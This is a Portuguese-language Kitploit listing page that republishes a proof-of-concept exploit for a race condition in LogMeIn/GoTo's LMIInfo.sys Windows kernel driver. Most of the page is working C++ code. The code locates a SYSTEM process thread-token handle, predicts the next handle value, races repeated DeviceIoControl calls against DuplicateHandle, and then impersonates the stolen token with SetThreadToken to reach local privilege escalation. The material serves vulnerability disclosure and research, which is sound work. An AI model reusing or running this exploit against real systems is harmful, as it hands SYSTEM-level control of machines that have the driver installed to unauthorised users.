Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
LogMeInPoCHandleDup — Exploit para uma condição de corrida em um driver de kernel do Windows da LogMeIn/GoTo que duplica handles do SYSTEM, permitindo a impersonação de token de thread e escalonamento local de privilégios. | Kitploit
Ferramentas/GitHubGitHub/alfarom256/logmeinpochandledup
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoEngenharia ReversaExploração de Binários
GitHubalfarom256/logmeinpochandledup

LogMeInPoCHandleDup

Exploit para uma condição de corrida em um driver de kernel do Windows da LogMeIn/GoTo que duplica handles do SYSTEM, permitindo a impersonação de token de thread e escalonamento local de privilégios.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
647há 2 anosRevisado pelo Kitploit

LogMeIn / GoTo LMIInfo.sys Duplicação de Handle

Resumo

Existe uma condição de corrida (race condition) no driver LMIInfo.sys fornecido pela LogMeIn / GoTo RMM, na qual um handle arbitrário pode ser duplicado a partir do processo SYSTEM. A causa principal decorre da falta de controle de acesso adequado no objeto de dispositivo, juntamente com a decisão obviamente ruim de duplicar handles especificados pelo usuário a partir do processo do sistema.

Detalhes

IOCTL: 0x9211001C

Buffer de entrada:

root@kitploit:~
// LMI-Common.cpp
typedef struct LMI_INFO {
	DWORD64 qwPid;
	DWORD64 reserved0;
	DWORD64 handleValue;
	DWORD64 reserved1;
} LMI_INFO, * PLMI_INFO;

Despacho:

Tabela de despacho

Função suscetível:

Função vulnerável

Ao coletar informações de handles e realizar processamento de strings, entre as chamadas a ZwDuplicateObject/ZwClose, o processo chamador pode duplicar o handle duplicado. Se executado corretamente, o handle duplicado secundário persistirá após o handle duplicado primário ter sido fechado.

Para acionar o bug de forma confiável, todos os handles usados pelo processo DEVEM ser criados antes de acionar a condição de corrida. O handle de destino é consultado a partir do processo do sistema usando a seguinte função (token de thread usado como exemplo):

root@kitploit:~
// LMI-Common.cpp
HANDLE FindSystemPidFirstToken()
{
	HANDLE hHeap = GetProcessHeap();
	LPVOID lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20000);
	if (!lpBuf) {
		printf("HeapAlloc - %d\n", GetLastError());
		return INVALID_HANDLE_VALUE;
	}
	ULONG ulBytesReturned = 0;
	NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, 0x20000, &ulBytesReturned);

	while (status == 0xC0000004) {
		HeapFree(hHeap, 0, lpBuf);
		lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, ulBytesReturned + 0x1000);
		if (!lpBuf) {
			printf("HeapAlloc - %d\n", GetLastError());
			return INVALID_HANDLE_VALUE;
		}
		status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, ulBytesReturned + 0x1000, &ulBytesReturned);
	}


	if (status) {
		printf("Query for handles failed - %lx\n", status);
		return INVALID_HANDLE_VALUE;
	}

	PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)lpBuf;

	for (unsigned int i = 0; i < pSysHandleInfo->NumberOfHandles; i++) {
		SYSTEM_HANDLE_TABLE_ENTRY_INFO shtei = pSysHandleInfo->Handles[i];
		if (shtei.UniqueProcessId != 4) {
			continue;
		}
		printf("HANDLE:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
		if (shtei.ObjectTypeIndex == OBJECT_TYPE_THREAD_TOKEN && shtei.GrantedAccess == THREAD_TOKEN_IMPERSONATE_PRIVILEGES) {
			printf("Found handle to token:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
			return (HANDLE)shtei.HandleValue;
		}
	}

	return INVALID_HANDLE_VALUE;
}

Como os valores de HANDLE aumentam em incrementos de 4, calculamos o valor do handle duplicado primário obtendo uma contagem de HANDLEs e somando 4. Dessa forma, abrimos o dispositivo e criamos a thread de "corrida" em estado suspenso antes de calcular o próximo valor de handle. Isso provavelmente poderia ser feito de uma maneira mais estável e "refinada", o que fica como exercício para o leitor, que provavelmente é mais proficiente rsrs.

root@kitploit:~
// LMI-Common.cpp
HANDLE FindNextCreatedHandle() {
	HANDLE highestHandle = 0;
	UINT32 u32NumHandles = 0;
	ULONG ulSizeReturned = 0;
	NTSTATUS status = 0;
	status = NtQueryInformationProcess((HANDLE)-1, (PROCESSINFOCLASS)ProcessHandleCount, &u32NumHandles, sizeof(UINT32), &ulSizeReturned);
	if (!NT_SUCCESS(status)) {
		return (HANDLE)-1;
	}

	return (HANDLE)((UINT64)++u32NumHandles * 4);
}

Concluído isso, a thread de corrida é retomada e IOCTLs repetidos são emitidos:

root@kitploit:~
// LMI-Common.cpp
NTSTATUS DupeThread(LPVOID lpParam) {
	puts("Entered DupeThread");
	if (!lpParam || lpParam == INVALID_HANDLE_VALUE) {
		printf("Invalid device handle passed to thread : %lx\n", GetLastError());
		return -1;
	}

	PDUPE_THREAD_INFO Dti = (PDUPE_THREAD_INFO)lpParam;

	DWORD dwBytesReturned = 0;
	LMI_INFO lmii = { 0 };
	lmii.qwPid = 4;
	lmii.handleValue = (UINT64)FindSystemPidFirstToken(); // yes, I know

	if ((HANDLE)lmii.handleValue == INVALID_HANDLE_VALUE) {
		puts("Couldn't find a token handle in the system process??");
	}

	BOOL bRes = FALSE;
	LPVOID lpOutBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);

	if (!lpOutBuf) {
		printf("HeapAlloc : %lx\n", GetLastError());
		return -1;
	}

	while (Dti->Run) {
		// call DeviceIoControl to start the race
		bRes = DeviceIoControl(
			Dti->hDevice,
			IOCTL_DUPE_LEL,
			&lmii,
			sizeof(LMI_INFO),
			lpOutBuf,
			0x1000,
			&dwBytesReturned,
			NULL
		);
	}	
}

A consideração de design da thread de corrida se deve ao seguinte:

  • Eu sou ruim em explorar condições de corrida

A thread principal chama repetidamente DuplicateHandle para duplicar o handle duplicado primário até que a duplicação seja bem-sucedida, e a variável booleana global é definida como falsa para encerrar a thread de corrida (sim, sim, eu sei).

root@kitploit:~
// Source.cpp
HANDLE hTarget = FindNextCreatedHandle();
hTarget = (HANDLE)((UINT64)hTarget + 4);

puts("Resuming dupe thread");
dwSuspendCount = ResumeThread(hDupeThread);
if (dwSuspendCount == -1) {
    printf("Error resuming dupe thread - %lx\n", GetLastError());
    return -1;
}

while (!bRes) {
    bRes = DuplicateHandle(g_hCurrentProc, hTarget, g_hCurrentProc, &hToken, NULL, FALSE, DUPLICATE_SAME_ACCESS);
}

dti.Run = FALSE;

if (bRes) {
    puts("ebin");
    printf("%llx - target\n", hTarget);
    printf("%llx - dup\n", hToken);
    bRes = SetThreadToken(NULL, hToken);
    if (!bRes) {
        printf("Failed to SetThreadToken - %x\nExploitation failed!", GetLastError());
    }
    else {
        puts("Set the thread token!");
    }
}
else {
    printf("Failed to dupe token: %lx\n", GetLastError());
    return -1;
}

getchar();
return 0;

Vídeo

Baixar ferramenta